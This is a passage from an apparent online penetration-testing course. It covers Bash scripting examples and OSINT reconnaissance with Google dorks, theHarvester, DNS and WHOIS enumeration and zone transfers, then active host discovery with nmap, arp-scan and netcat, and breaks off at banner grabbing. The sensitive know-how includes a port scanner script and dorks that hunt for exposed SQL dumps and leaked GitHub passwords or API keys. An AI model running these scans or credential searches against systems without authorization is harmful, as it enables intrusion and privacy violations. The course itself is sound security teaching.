            echo "  ✓ Port $port is open"
        done
    fi
}

# Main script
main() {
    local target=$1
    local open_ports=()
    
    echo "Target: $target"
    
    # Check if host is alive
    if ! ping_host "$target"; then
        echo "Host is down or not responding"
        exit 1
    fi
    echo "Host is up"
    
    # Scan ports
    for port in "${COMMON_PORTS[@]}"; do
        echo -n "Scanning port $port... "
        if scan_port "$target" "$port"; then
            echo "OPEN"
            open_ports+=($port)
        else
            echo "closed"
        fi
    done
    
    # Show results
    show_results "$target" "${open_ports[@]}"
}

# Run main with all arguments
main "$@"
                                     
✔ Benefits of Functions: Reusability, testability, readability, easier debugging, and team collaboration.

8.4 Script Debugging Basics: Finding and Fixing Errors

Debugging is the art of finding and fixing errors in your scripts. Every developer spends time debugging — it's a skill you must master.

🐛 Types of Errors
1. Syntax Errors

Bash can't understand your code.

# Missing 'then'
if [ -f file ]  # Error!
    echo "File exists"
fi

# Unclosed quote
echo "Hello world   # Error!
                                             
2. Runtime Errors

Script runs but fails during execution.

# File doesn't exist
cat /nonexistent/file

# Permission denied
./script.sh  # Missing execute permission
                                             
3. Logic Errors

Script runs but produces wrong results.

# Wrong: > creates a file, not comparison
if [ $count > 10 ]; then  # Creates file named "10"!
    echo "High count"
fi
                                             
🔧 Debugging Techniques
1. Debug Mode (-x)
# Run with debug output
bash -x script.sh

# Debug specific sections
set -x  # Turn debug on
# commands to debug
set +x  # Turn debug off
                                             
2. Strategic Echo Statements
echo "DEBUG: Starting script"
echo "DEBUG: var = $var"
echo "DEBUG: Function returned $?"
                                             
3. Check Exit Codes
command
if [ $? -ne 0 ]; then
    echo "Command failed"
    exit 1
fi

# Shorter version
command || { echo "Failed"; exit 1; }
                                             
🔍 ShellCheck - Static Analysis Tool

ShellCheck is a linter that finds common errors in bash scripts.

# Install ShellCheck
sudo apt install shellcheck   # Debian/Ubuntu

# Run on your script
shellcheck script.sh

# Example output:
# In script.sh line 5:
# if [ $count > 10 ]; then
#      ^-- SC2071: > is for string comparisons. Use -gt for numeric.
                                     

Always run ShellCheck on your scripts before sharing them.

📋 Debugging Checklist
  • Check syntax with ShellCheck
  • Verify file permissions (chmod +x)
  • Check shebang line (#!/bin/bash)
  • Use bash -x to trace execution
  • Add echo statements for key variables
  • Check exit codes ($?)
  • Test with minimal test case
  • Read error messages carefully
💡 Pro Tip: When stuck, create a minimal example that reproduces the problem. Strip away everything except the problematic code.

8.5 Real-World Use Cases: Bash in Action

Here are practical examples of Bash scripts used in professional security environments.

🔐 Use Case 1: Log Analyzer
#!/bin/bash
# log_analyzer.sh - Analyze auth logs for security events

LOG_FILE="/var/log/auth.log"
THRESHOLD=10

# Check if log exists
if [ ! -f "$LOG_FILE" ]; then
    echo "Error: Log file not found"
    exit 1
fi

echo "Analyzing $LOG_FILE..."
echo "========================="

# Count failed logins
FAILED=$(grep -c "Failed password" "$LOG_FILE")
SUCCESS=$(grep -c "Accepted password" "$LOG_FILE")

echo "Successful logins: $SUCCESS"
echo "Failed attempts: $FAILED"

# Alert if threshold exceeded
if [ $FAILED -gt $THRESHOLD ]; then
    echo "⚠️ WARNING: High number of failed attempts!"
    
    # Show top attackers
    echo "Top attacking IPs:"
    grep "Failed password" "$LOG_FILE" | 
        grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | 
        sort | uniq -c | sort -nr | head -5
fi

# Check for root logins
ROOT_LOGINS=$(grep "Accepted password for root" "$LOG_FILE" | wc -l)
if [ $ROOT_LOGINS -gt 0 ]; then
    echo "⚠️ Root logins detected: $ROOT_LOGINS"
fi

echo "========================="
                                     
🔍 Use Case 2: Network Recon Tool
#!/bin/bash
# network_recon.sh - Simple network reconnaissance

TARGET=$1
OUTPUT_DIR="./recon_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

if [ -z "$TARGET" ]; then
    echo "Usage: $0 "
    echo "Example: $0 192.168.1.1"
    exit 1
fi

echo "Starting reconnaissance on $TARGET"
echo "Results saved to $OUTPUT_DIR"

# Function: ping test
ping_test() {
    ping -c 1 -W 1 $1 >/dev/null 2>&1
    return $?
}

# Function: port scan
port_scan() {
    local host=$1
    local port=$2
    timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null
    return $?
}

# Check if host is alive
if ping_test "$TARGET"; then
    echo "✓ Host is up"
else
    echo "✗ Host is down or not responding"
    exit 1
fi

# Common ports to scan
COMMON_PORTS=(21 22 23 25 53 80 110 111 135 139 143 443 445 993 995 3306 3389 8080)

echo "Scanning common ports..."
> "$OUTPUT_DIR/open_ports.txt"

for port in "${COMMON_PORTS[@]}"; do
    echo -n "Port $port: "
    if port_scan "$TARGET" "$port"; then
        echo "OPEN"
        echo "$port" >> "$OUTPUT_DIR/open_ports.txt"
    else
        echo "closed"
    fi
done

# Get open ports count
OPEN_COUNT=$(wc -l < "$OUTPUT_DIR/open_ports.txt")
echo "Found $OPEN_COUNT open ports"

# Generate simple report
{
    echo "Reconnaissance Report"
    echo "====================="
    echo "Target: $TARGET"
    echo "Date: $(date)"
    echo ""
    echo "Open ports:"
    cat "$OUTPUT_DIR/open_ports.txt"
} > "$OUTPUT_DIR/report.txt"

echo "Report saved to $OUTPUT_DIR/report.txt"
                                     
🛡️ Use Case 3: System Health Monitor
#!/bin/bash
# health_monitor.sh - Monitor system health

THRESHOLD_CPU=80
THRESHOLD_MEM=90
THRESHOLD_DISK=90
ALERT_EMAIL="admin@example.com"
LOG_FILE="/var/log/health_monitor.log"

log() {
    echo "[$(date)] $1" | tee -a "$LOG_FILE"
}

check_cpu() {
    local cpu=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1)
    log "CPU Usage: $cpu%"
    
    if (( $(echo "$cpu > $THRESHOLD_CPU" | bc -l 2>/dev/null || echo 0) )); then
        log "⚠️ High CPU usage: $cpu%"
        return 1
    fi
    return 0
}

check_memory() {
    local mem=$(free | grep Mem | awk '{print ($3/$2) * 100}')
    log "Memory Usage: ${mem}%"
    
    if (( $(echo "$mem > $THRESHOLD_MEM" | bc -l 2>/dev/null || echo 0) )); then
        log "⚠️ High memory usage: ${mem}%"
        return 1
    fi
    return 0
}

check_disk() {
    df -h | grep -vE '^Filesystem|tmpfs|cdrom' | while read line; do
        usage=$(echo $line | awk '{print $5}' | cut -d'%' -f1)
        mount=$(echo $line | awk '{print $6}')
        
        if [ $usage -gt $THRESHOLD_DISK ]; then
            log "⚠️ High disk usage on $mount: $usage%"
        fi
    done
}

check_services() {
    local services=("ssh" "apache2" "mysql")
    
    for service in "${services[@]}"; do
        if systemctl is-active --quiet "$service" 2>/dev/null; then
            log "✓ $service is running"
        else
            log "✗ $service is NOT running"
        fi
    done
}

# Main
log "=== System Health Check ==="
check_cpu
check_memory
check_disk
check_services
log "=== Check Complete ==="
                                     
📧 Use Case 4: Backup Script with Rotation
#!/bin/bash
# backup.sh - Automated backups with rotation

BACKUP_DIR="/backup"
SOURCE_DIRS=("/etc" "/home" "/var/www")
RETENTION_DAYS=7
TIMESTAMP=$(date +%Y%m%d_%H%M%S)

# Create backup directory if it doesn't exist
mkdir -p "$BACKUP_DIR"

# Function: create backup
create_backup() {
    local dir=$1
    local name=$(basename "$dir")
    local backup_file="$BACKUP_DIR/${name}_${TIMESTAMP}.tar.gz"
    
    echo "Backing up $dir..."
    tar -czf "$backup_file" "$dir" 2>/dev/null
    
    if [ $? -eq 0 ]; then
        echo "✓ Created: $backup_file"
        echo "$backup_file" >> "$BACKUP_DIR/backup_manifest_$TIMESTAMP.txt"
    else
        echo "✗ Failed to backup $dir"
    fi
}

# Function: rotate old backups
rotate_backups() {
    echo "Removing backups older than $RETENTION_DAYS days..."
    find "$BACKUP_DIR" -name "*.tar.gz" -type f -mtime +$RETENTION_DAYS -delete
    find "$BACKUP_DIR" -name "backup_manifest_*.txt" -type f -mtime +$RETENTION_DAYS -delete
}

# Main
echo "Starting backup at $(date)"
echo "==========================="

# Create backups
for dir in "${SOURCE_DIRS[@]}"; do
    if [ -d "$dir" ]; then
        create_backup "$dir"
    else
        echo "Warning: $dir does not exist, skipping"
    fi
done

# Rotate old backups
rotate_backups

echo "==========================="
echo "Backup complete at $(date)"

# Show backup statistics
echo "Backup statistics:"
echo "  Total backups: $(find "$BACKUP_DIR" -name "*.tar.gz" | wc -l)"
echo "  Disk usage: $(du -sh "$BACKUP_DIR" | cut -f1)"
                                     
💡 Key Takeaway: These examples show how Bash scripting solves real problems — log analysis, network reconnaissance, system monitoring, and backup automation. Start with simple scripts and gradually add complexity.

Module 08: Bash Scripting Successfully Completed

You've learned the fundamentals of Bash scripting and how to apply them to cybersecurity tasks!

Module Complete
📋 What You've Learned
✓ Why Scripting
✓ Variables
✓ Control Flow
✓ Functions
✓ Debugging
✓ Log Analysis
✓ Network Recon
✓ System Monitoring
✓ Backup Automation
✓ Real-World Use

You have successfully completed this module of Penetration Testing Mastery Course.


🕵️ Module 09 – Passive Information Gathering: The Art of OSINT

Learn how to gather intelligence without touching the target — master public information sources, DNS enumeration, digital footprint analysis, and the ethics of OSINT

🎯

Module Learning Objectives

By the end of this module, you'll understand passive reconnaissance concepts, know where to find public information, master DNS and WHOIS enumeration, identify digital footprints, and conduct OSINT safely and ethically.

🔒

What Makes This "Passive"?

Passive information gathering uses publicly available information without directly interacting with the target. No packets are sent to their systems, no logs are generated, and no permissions are needed — because you're only using information the organization has already made public.


9.1 What is Passive Reconnaissance? The Stealthy Approach

Passive reconnaissance (also called OSINT — Open Source Intelligence) is the process of gathering information about a target without directly interacting with their systems. You're essentially acting as a researcher, collecting data that's already publicly available.

Think of it like researching a company before a job interview. You visit their website, read their social media, check news articles, and look up their leadership team — all without ever calling them or visiting their office. In cybersecurity, this approach helps you understand an organization's digital presence before any active testing begins.

🎯 Goals of Passive Reconnaissance
  • Understand the target: Learn about the organization's size, structure, and technology
  • Identify attack surface: Discover domains, subdomains, IP ranges, and technologies
  • Find potential weaknesses: Uncover exposed information that could aid social engineering
  • Build a profile: Create a comprehensive picture of the target's digital presence
  • Plan active testing: Use gathered information to focus later active scans

0

Packets sent to target


100%

Legal and ethical


Public sources available

📊 Active vs Passive Reconnaissance
Aspect Passive Reconnaissance Active Reconnaissance
Target Interaction No direct interaction Direct interaction (sends packets)
Detection Risk None — no traffic to target High — generates logs and alerts
Information Gathered Public records, search engines, social media Live systems, open ports, services
Permission Needed None — public information Explicit written authorization
Examples Google dorks, WHOIS, social media Ping sweeps, port scans, banner grabbing
🧠 What Can You Learn Passively?
  • Domain names and subdomains
  • IP address ranges
  • DNS records
  • Email addresses
  • Employee information
  • Technology stacks
  • Third-party services
  • Physical locations
  • Business partners
  • Security policies
  • Job postings
  • News and events
💡
Simple Analogy

Passive recon is like reading a company's annual report, website, and news articles before meeting them. Active recon is like knocking on their door and walking through their hallways. Both provide valuable information, but one is completely invisible.


9.2 Public Information Sources: Where to Find OSINT Data

The internet is a treasure trove of publicly available information. Knowing where to look and what to look for is the core skill of OSINT.

🌐 Search Engines
Google (Google Dorking)

Advanced search operators to find specific information.

Operator Purpose Example
site: Search within a specific domain site:example.com
filetype: Find specific file types filetype:pdf confidential
intitle: Words in page title intitle:"index of"
inurl: Words in URL inurl:admin
cache: View cached version cache:example.com
link: Pages linking to a URL link:example.com
related: Similar sites related:example.com
Other Search Engines
  • Bing: Similar operators, good for different results
  • Yandex: Excellent for image and people searches
  • Baidu: Chinese search engine, different index
  • DuckDuckGo: Privacy-focused, !bang syntax
  • Shodan: Search for internet-connected devices
  • Censys: Internet-wide scan data
Google Dork Examples
# Find exposed documents
site:example.com filetype:xls OR filetype:pdf

# Find login pages
site:example.com inurl:login OR inurl:admin

# Find directory listings
intitle:"index of" site:example.com

# Find specific email addresses
"@example.com" filetype:csv

# Find technology information
"powered by WordPress" site:example.com
                                             
📱 Social Media Platforms
LinkedIn
  • Employee names and roles
  • Organizational structure
  • Technologies mentioned in profiles
  • Office locations
  • Partnerships and acquisitions
Twitter/X
  • Company announcements
  • Employee handles and interactions
  • Customer complaints (potential issues)
  • Technology discussions
  • Conference participation
Facebook
  • Company pages
  • Employee groups
  • Event information
  • Location check-ins
  • Photos (badges, screens, etc.)
GitHub
  • Source code (accidental credentials)
  • Employee repositories
  • Technology stack
  • Internal project names
  • Configuration files
Reddit
  • Discussions about the company
  • Employee subreddits
  • Technical questions (revealing stack)
  • Job postings and complaints
Instagram
  • Office photos
  • Employee tags
  • Events and conferences
  • Behind-the-scenes content
📄 Public Records and Archives
Wayback Machine (archive.org)

View historical versions of websites. See what content existed in the past, including removed pages.

https://archive.org/web/
Enter: example.com
View snapshots from 1996 to present
                                             

What to look for: Old employee directories, removed job postings, past vulnerabilities, historical technology changes.

Business Records
  • SEC EDGAR: Financial filings for US companies
  • OpenCorporates: Company registration data worldwide
  • Better Business Bureau: Complaints and ratings
  • State business registries: Local incorporation details
  • Patent databases: Technology patents and filings
  • Court records: Lawsuits and legal issues
🔧 Specialized OSINT Tools
theHarvester

Email, subdomain, and employee gathering

theHarvester -d example.com -b google
theHarvester -d example.com -b linkedin
theHarvester -d example.com -b all
                                             
Recon-ng

Full-featured reconnaissance framework

recon-ng
marketplace install all
workspace create example
use recon/domains-hosts/google_site_web
set source example.com
run
                                             
Maltego

Graphical link analysis tool

Visualizes relationships between domains, people, emails, and organizations.

SpiderFoot

Automated OSINT collection

OSINT Framework

osintframework.com - Comprehensive resource list

Hunter.io

Find email patterns and addresses

💡 Pro Tip: Start with the OSINT Framework website — it categorizes hundreds of OSINT tools and sources by type. Bookmark it for quick reference.

9.3 DNS & WHOIS Enumeration: Mapping the Digital Landscape

DNS and WHOIS are public by design. They reveal the structure of an organization's online presence — domains, subdomains, IP addresses, and ownership information.

🌐 DNS (Domain Name System) Basics

DNS translates domain names (like example.com) to IP addresses. It's like the phonebook of the internet.

Common DNS Record Types
Record Type Purpose What It Reveals
A IPv4 address mapping IP address of the domain
AAAA IPv6 address mapping IPv6 address of the domain
MX Mail exchange servers Email servers and priorities
NS Name servers DNS hosting providers
TXT Text information SPF, DKIM, verification records
CNAME Canonical name (alias) Domain aliases and relationships
SOA Start of authority Primary name server and admin contact
PTR Reverse lookup IP to hostname mapping
🔍 DNS Enumeration Techniques
📋 Basic DNS Lookups
# Using dig (DNS lookup utility)
dig example.com A
dig example.com MX
dig example.com NS
dig example.com TXT
dig example.com ANY

# Using nslookup (older tool)
nslookup example.com
nslookup -type=MX example.com

# Using host (simple tool)
host example.com
host -t MX example.com
                                             
🔄 Reverse DNS

Find domain names associated with an IP address.

# Reverse lookup
dig -x 8.8.8.8
nslookup 8.8.8.8
host 8.8.8.8

# Find all hosts on the same IP (virtual hosting)
# Use online tools like yougetsignal.com
                                             
🔗 Zone Transfers (AXFR)

A zone transfer copies all DNS records from a name server. If misconfigured, anyone can request it.

# Check if zone transfer is allowed
dig axfr example.com @ns1.example.com

# Automated tools
dnsrecon -d example.com -t axfr
fierce --domain example.com
                                             
⚠️ Zone transfers are rare now but worth checking.
🔎 Subdomain Discovery

Find subdomains through brute force or public sources.

# Subdomain brute force
dnsrecon -d example.com -D /usr/share/wordlists/dns/subdomains.txt -t brt

# Using common wordlists
gobuster dns -d example.com -w /usr/share/wordlists/dirb/common.txt

# Certificate transparency logs
# View at crt.sh or use
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq .
                                             
📋 WHOIS Enumeration

WHOIS provides registration information for domains and IP addresses.

WHOIS Information Includes:
  • Registrar name
  • Registration and expiry dates
  • Name servers
  • Registrant name and organization
  • Administrative contact
  • Technical contact
  • Email addresses
  • Phone numbers
  • Physical addresses
WHOIS Lookup Tools
# Command line
whois example.com

# For IP addresses
whois 8.8.8.8

# Online tools
# whois.domaintools.com
# whois.icann.org
# whois.net

# Privacy considerations
# Many domains use WHOIS privacy protection
# Historical WHOIS data may reveal past owners
                                             
🔧 Automated DNS Enumeration Tools
Tool Purpose Example
dnsrecon Comprehensive DNS enumeration dnsrecon -d example.com
dnsenum DNS enumeration with brute force dnsenum example.com
fierce DNS reconnaissance tool fierce --domain example.com
theHarvester Gathers emails, subdomains, hosts theHarvester -d example.com -b all
amass In-depth attack surface mapping amass enum -d example.com
✔ What DNS Enumeration Reveals: Network structure, IP ranges, email infrastructure, cloud providers, security technologies (SPF/DKIM), and potential attack vectors.

9.4 Identifying Digital Footprints: What the Internet Knows

Every organization leaves a digital trail. Understanding this footprint helps assess what information is publicly exposed and how it could be used.

👥 Employee Information
What to Look For:
  • Employee names and job titles
  • Email address formats (first.last@company.com)
  • Phone numbers and extensions
  • LinkedIn profiles and connections
  • Personal social media accounts
  • GitHub repositories and contributions
  • Stack Overflow activity
  • Conference presentations
How to Find:
# LinkedIn search
site:linkedin.com/in/ "Company Name"

# Email pattern discovery
theHarvester -d company.com -b linkedin
hunter.io - Search by domain

# GitHub employee search
site:github.com "company.com" OR "works at Company"

# Email harvesting
theHarvester -d company.com -b google
                                             
💻 Technology Stack Identification
Technologies to Identify:
  • Web servers (Apache, Nginx, IIS)
  • Content management systems (WordPress, Drupal)
  • Programming languages (PHP, Python, Ruby)
  • JavaScript frameworks (React, Angular, Vue)
  • Cloud providers (AWS, Azure, GCP)
  • CDN services (Cloudflare, Akamai)
  • Analytics and tracking
  • Email and marketing platforms
Tools and Techniques:
# BuiltWith (builtwith.com)
Enter domain → see full technology profile

# Wappalyzer (browser extension)
Shows technologies on current site

# WhatWeb
whatweb example.com

# HTTP headers
curl -I example.com

# HTML source analysis
View page source → look for clues
                                             
📁 Exposed Documents and Files
What to Search For:
  • PDF documents (manuals, reports)
  • Spreadsheets (financial data)
  • Word documents (internal memos)
  • Presentation decks (conference talks)
  • Backup files (.bak, .old)
  • Configuration files (.conf, .config)
  • Database dumps (.sql, .dump)
  • Source code archives
Search Techniques:
# Google dorks for files
site:example.com filetype:pdf
site:example.com filetype:xls OR filetype:xlsx
site:example.com filetype:doc OR filetype:docx
site:example.com filetype:sql
site:example.com inurl:backup
site:example.com intitle:"index of" AND (pdf|doc|xls)

# Wayback Machine
archive.org → check for removed documents
                                             
🔐 Credential Leaks and Breaches
Check if the organization has been breached:
  • HaveIBeenPwned: Check company email domain
  • DeHashed: Breached database search
  • LeakCheck: Credential leak database
  • Pastebin: Search for pasted data
  • GitHub: Search for exposed credentials
Search Examples:
# GitHub credential search
site:github.com "company.com" AND "password"
site:github.com "api_key" AND "company"
site:gist.github.com "company.com"

# Pastebin monitoring
site:pastebin.com "company.com"

# Breach databases
https://haveibeenpwned.com/ (check email domain)
                                             
⚠️ Never use found credentials without authorization.
🏢 Physical Location Data
Physical Information:
  • Office addresses from website
  • Data center locations (WHOIS)
  • Employee check-ins (social media)
  • Conference attendance
  • Office photos (badges, screens)
  • Building layouts (real estate sites)
Sources:
  • Google Maps/Earth (satellite views)
  • LinkedIn (office locations)
  • Instagram/geotags
  • Property records
  • Business directories
💡 Digital Footprint Summary: The goal is to understand what an attacker could learn about the organization without ever interacting with their systems. This helps identify what information should be better protected.

9.5 OSINT Safety & Ethics: Responsible Intelligence Gathering

⚠️

Critical: OSINT is Public, But Ethics Still Apply

Just because information is public doesn't mean it's ethical to collect or use it in any way. OSINT must be conducted responsibly, respecting privacy, laws, and professional boundaries.

⚖️ Legal Considerations
What's Generally Legal:
  • Visiting public websites
  • Reading social media profiles
  • Querying public DNS records
  • Accessing public WHOIS data
  • Searching search engines
  • Viewing public government records
What May Be Problematic:
  • Automated scraping (violates ToS)
  • Accessing private/protected profiles
  • Impersonation or deception
  • Social engineering (active, not passive)
  • Storing personal data without justification
  • Sharing sensitive findings publicly
Remember: Different countries have different privacy laws (GDPR in Europe, CCPA in California). What's legal in one jurisdiction may not be in another.
🛡️ Ethical Guidelines for OSINT
✅ DO:
  • Use only publicly available information
  • Respect robots.txt and website terms
  • Rate-limit automated requests
  • Protect collected data
  • Use findings only for authorized purposes
  • Document your sources
  • Consider how findings could be misused
❌ DON'T:
  • Attempt to access private accounts
  • Use found credentials without authorization
  • Harass or contact individuals
  • Share sensitive information publicly
  • Violate platform terms of service
  • Ignore data protection laws
  • Use findings for personal gain
🔒 Protecting Yourself While Doing OSINT
Use VPNs

Hide your real IP address when researching. Some sources may log visitors.

Use Separate Browsers/Profiles

Keep OSINT work separate from personal browsing to avoid cross-contamination.

Burner Accounts

For platforms requiring accounts, use dedicated OSINT accounts (within ToS).

Use Tails/Whonix

For sensitive investigations, consider anonymity-focused operating systems.

Clear Cache/History

Regularly clear browsing data to minimize digital traces.

Use Search Engines Anonymously

Consider DuckDuckGo or StartPage for privacy.

📋 Professional Standards and Codes of Conduct
Industry Guidelines:
  • EC-Council Code of Ethics: Do no harm, protect privacy
  • (ISC)² Code of Ethics: Act honorably, protect society
  • SANS Policies: Use skills legally and ethically
  • Company policies: Follow your organization's guidelines
Key Principles:
  • Protect the innocent
  • Don't exceed authorized scope
  • Report findings responsibly
  • Maintain confidentiality
  • Respect individual privacy
📝 Practical Scenarios: Ethical Decisions
Scenario 1: Exposed Credentials

You find a public GitHub repository containing database credentials for a company.

Ethical Response: Document the finding, notify the company through proper channels (security contact), do not use the credentials, and do not share them publicly.

Scenario 2: Personal Information

You discover an employee's personal phone number and home address in a public document.

Ethical Response: Note this as a privacy concern in your report, but do not publish or share the information. Recommend the organization review their document exposure.

Scenario 3: Social Media Information

You find an employee's social media showing they're on vacation, posting photos from inside the office showing server racks.

Ethical Response: Document as a security awareness issue. Recommend security training about social media use. Do not contact the employee.

Scenario 4: Breach Database

You find company emails and passwords in a public breach database.

Ethical Response: Notify the company through proper channels. Recommend password reset and MFA implementation. Never attempt to use the credentials.

🛡️
The Golden Rule of OSINT

Treat others' information as you would want your own treated. Just because you can find something doesn't mean you should use or share it. Your goal is to help organizations improve security, not to expose or embarrass individuals.


🕵️

Module 09: Passive Information Gathering Successfully Completed

You've mastered the fundamentals of OSINT and understand how to gather intelligence ethically and effectively!

Module Complete
📋 What You've Learned
✓ Passive Recon
✓ Public Sources
✓ DNS Enumeration
✓ WHOIS Lookups
✓ Digital Footprint
✓ OSINT Tools
✓ Google Dorking
✓ Social Media OSINT
✓ Ethics & Safety
✓ Legal Boundaries

You have successfully completed this module of Penetration Testing Mastery Course.


🎯 Module 10 – Active Information Gathering: Direct Reconnaissance for Authorized Testing

Learn when and how to actively probe targets, discover live hosts, fingerprint services, grab banners, and conduct safe, authorized reconnaissance

🎯

Module Learning Objectives

By the end of this module, you'll understand when active reconnaissance is appropriate, master host discovery techniques, learn service fingerprinting concepts, practice banner grabbing, and conduct safe, authorized recon procedures.

⚠️

Critical Legal Warning

Active reconnaissance generates network traffic that WILL be logged by target systems. This technique must ONLY be performed with explicit written authorization from the system owner. Unauthorized active scanning is illegal and can result in criminal charges.


10.1 When Active Reconnaissance is Used: Timing and Context

Active reconnaissance is the phase where security professionals directly interact with target systems to gather technical information. Unlike passive recon (which uses public data), active recon involves sending packets and analyzing responses.

Think of it like this: Passive recon is reading a company's public brochure. Active recon is walking up to their building, checking which doors are unlocked, and seeing what kind of locks they use — but only after they've given you written permission to do so.

📋 When Active Recon is Appropriate
  • During authorized penetration tests: After contracts are signed and scope is defined
  • In bug bounty programs: Within the defined scope and rules
  • For security research: On your own systems or with explicit permission
  • During red team exercises: As part of authorized simulated attacks
  • Never: On systems you don't own or don't have written permission to test

100%

of pentests include active recon


Legal

Only with written authorization


Detectable

Generates logs and alerts

📊 Active vs Passive Reconnaissance (Refresher)
Aspect Passive Reconnaissance Active Reconnaissance
Target Interaction No direct interaction Direct interaction (sends packets)
Detection Risk None — no traffic to target High — generates logs and alerts
Information Gathered Public records, search engines, social media Live systems, open ports, running services
Permission Needed None — public information Explicit written authorization
Timing in Pentest Before active testing begins After authorization is confirmed
Examples Google dorks, WHOIS, social media Ping sweeps, port scans, banner grabbing
🎯 Goals of Active Reconnaissance
🔍 Discover Live Hosts

Identify which IP addresses correspond to active, reachable systems on the network.

🔌 Identify Open Ports

Find which network ports are listening for connections, revealing potential entry points.

📡 Fingerprint Services

Determine what software and versions are running on open ports.

🛡️ Map Security Controls

Understand firewall rules, IDS/IPS behavior, and network segmentation.

🗺️ Document Network Topology

Create a map of the authorized network structure and device relationships.

📋 Guide Further Testing

Use findings to focus vulnerability assessment and exploitation efforts.

📋 The Active Reconnaissance Process Flow
1

Scope Definition
Rules of engagement

2

Host Discovery
Find live systems

3

Port Scanning
Identify open ports

4

Service Fingerprinting
Version detection

5

OS Detection
Fingerprint systems

6

Documentation
Record findings

💡 Key Point: Active reconnaissance is only performed AFTER passive recon is complete and authorization is confirmed. It's the bridge between understanding the target from public sources and actually testing their live systems.

10.2 Host Discovery Techniques: Finding Live Systems

Host discovery determines which systems are alive, reachable, and responding on a network. This is the first active step in mapping the authorized target environment.

📡 ICMP-Based Discovery (Ping)

The traditional "ping" uses ICMP Echo requests to check if a host is alive.

Basic Ping
# Ping a single host
ping -c 1 192.168.1.1

# Ping with timeout
ping -c 1 -W 1 192.168.1.1

# Ping sweep (/24 network)
for i in {1..254}; do
    ping -c 1 -W 1 192.168.1.$i >/dev/null && echo "192.168.1.$i is up" &
done
wait
                        
Nmap Ping Sweep
# ICMP echo discovery
nmap -sn -PE 192.168.1.0/24

# ICMP timestamp discovery
nmap -sn -PP 192.168.1.0/24

# ICMP netmask discovery
nmap -sn -PM 192.168.1.0/24

# Save results
nmap -sn -PE 192.168.1.0/24 -oG ping-sweep.txt
                        
⚠️ Limitation: Many firewalls block ICMP, so lack of ping response doesn't mean a host is down.
🔌 TCP-Based Discovery

When ICMP is blocked, TCP probes can often identify live hosts by attempting connections to common ports.

TCP SYN Ping
# Send SYN packet to common ports
nmap -sn -PS22,80,443,445 192.168.1.0/24

# If port is open → SYN-ACK response
# If port is closed → RST response
# Either way, host is confirmed alive
                        
TCP ACK Ping
# Send ACK packet (expecting RST)
nmap -sn -PA22,80,443 192.168.1.0/24

# Useful for stateless firewall detection
# RST response confirms host is alive
                        
Common Ports for TCP Discovery
  • 80,443 - HTTP/HTTPS (web servers)
  • 22 - SSH (Linux/Unix)
  • 445 - SMB (Windows)
  • 3389 - RDP (Remote Desktop)
  • 53 - DNS (Domain Controllers)
📦 UDP-Based Discovery

UDP discovery is less reliable but can identify UDP services.

# Send UDP packet to common ports
nmap -sn -PU53,161,123 192.168.1.0/24

# If port closed → ICMP port unreachable (host alive)
# If no response → port may be open/filtered
# If service responds → host alive and service open
                
Common UDP Ports
  • 53 - DNS
  • 161 - SNMP
  • 123 - NTP
  • 500 - IKE (VPN)
⚠️ UDP scanning is slower and less reliable due to the connectionless nature of UDP and rate-limiting by firewalls.
🔗 ARP-Based Discovery (Local Networks Only)

ARP works on local networks and is the most reliable method for discovering hosts in the same subnet.

Using arp-scan
# Install arp-scan
sudo apt install arp-scan

# Scan local network
sudo arp-scan --localnet

# Scan specific subnet
sudo arp-scan 192.168.1.0/24
                        
Using Nmap ARP scan
# ARP scan (fastest on local subnet)
sudo nmap -sn -PR 192.168.1.0/24

# ARP scan with output
sudo nmap -sn -PR 192.168.1.0/24 -oG arp-scan.txt
                        
✔ Advantages: Not blocked by firewalls, extremely fast, provides MAC addresses, works even when hosts ignore ICMP.
✗ Limitation: Only works on the local subnet — cannot cross routers.
📊 Host Discovery Methods Comparison
Method Protocol Speed Reliability Bypasses Firewall Best Use Case
ICMP Echo (Ping) ICMP Fast High (if allowed) No Initial discovery when ICMP allowed
TCP SYN to common ports TCP Fast Medium Partial When ICMP blocked
TCP ACK TCP Fast Medium Yes (stateless firewalls) Firewall rule detection
UDP probes UDP Very slow Low Sometimes UDP service discovery
ARP requests ARP Extremely fast Highest Yes (always) Local subnet enumeration
🛠️ Practical Host Discovery with Nmap
#!/bin/bash
# Multi-layer host discovery script

TARGET_NETWORK="192.168.1.0/24"
OUTPUT_FILE="host_discovery_$(date +%Y%m%d).txt"

echo "=== Host Discovery Report ===" | tee "$OUTPUT_FILE"
echo "Target: $TARGET_NETWORK" | tee -a "$OUTPUT_FILE"
echo "Date: $(date)" | tee -a "$OUTPUT_FILE"
echo "================================" | tee -a "$OUTPUT_FILE"

# Layer 1: ARP scan (local subnet)
echo "[*] Performing ARP scan..." | tee -a "$OUTPUT_FILE"
sudo nmap -sn -PR $TARGET_NETWORK -oG - | grep "Up" | 
    awk '{print $2}' | while read ip; do
    echo "✓ ARP: $ip" | tee -a "$OUTPUT_FILE"
done

# Layer 2: ICMP ping sweep
echo "[*] Performing ICMP ping sweep..." | tee -a "$OUTPUT_FILE"
nmap -sn -PE $TARGET_NETWORK -oG - | grep "Up" | 
    awk '{print $2}' | while read ip; do
    echo "✓ ICMP: $ip" | tee -a "$OUTPUT_FILE"
done

# Layer 3: TCP SYN discovery
echo "[*] Performing TCP SYN discovery..." | tee -a "$OUTPUT_FILE"
nmap -sn -PS22,80,443,445 $TARGET_NETWORK -oG - | grep "Up" | 
    awk '{print $2}' | while read ip; do
    echo "✓ TCP: $ip" | tee -a "$OUTPUT_FILE"
done

echo "================================" | tee -a "$OUTPUT_FILE"
echo "Discovery complete!" | tee -a "$OUTPUT_FILE"
                

10.3 Service Fingerprinting Concepts: Identifying What's Running

After discovering open ports, the next step is identifying exactly what service is running on each port — including software name, version, and sometimes configuration details.

🔍 What is Service Fingerprinting?

Service fingerprinting (also called service detection or version detection) is the process of determining the specific software and version running on an open port. This information is crucial because:

  • Different versions have different vulnerabilities
  • Default configurations vary by version
  • Some services have known weaknesses
  • Helps prioritize testing efforts
📡 Active Fingerprinting Techniques
🔌 Connection-Based Fingerprinting

Establish a connection and analyze the response.

# Connect to port and observe response
nc -nv 192.168.1.1 22
nc -nv 192.168.1.1 80

# Send specific probes
echo "HEAD / HTTP/1.0\r\n\r\n" | nc -nv 192.168.1.1 80
                        
📋 Banner Grabbing

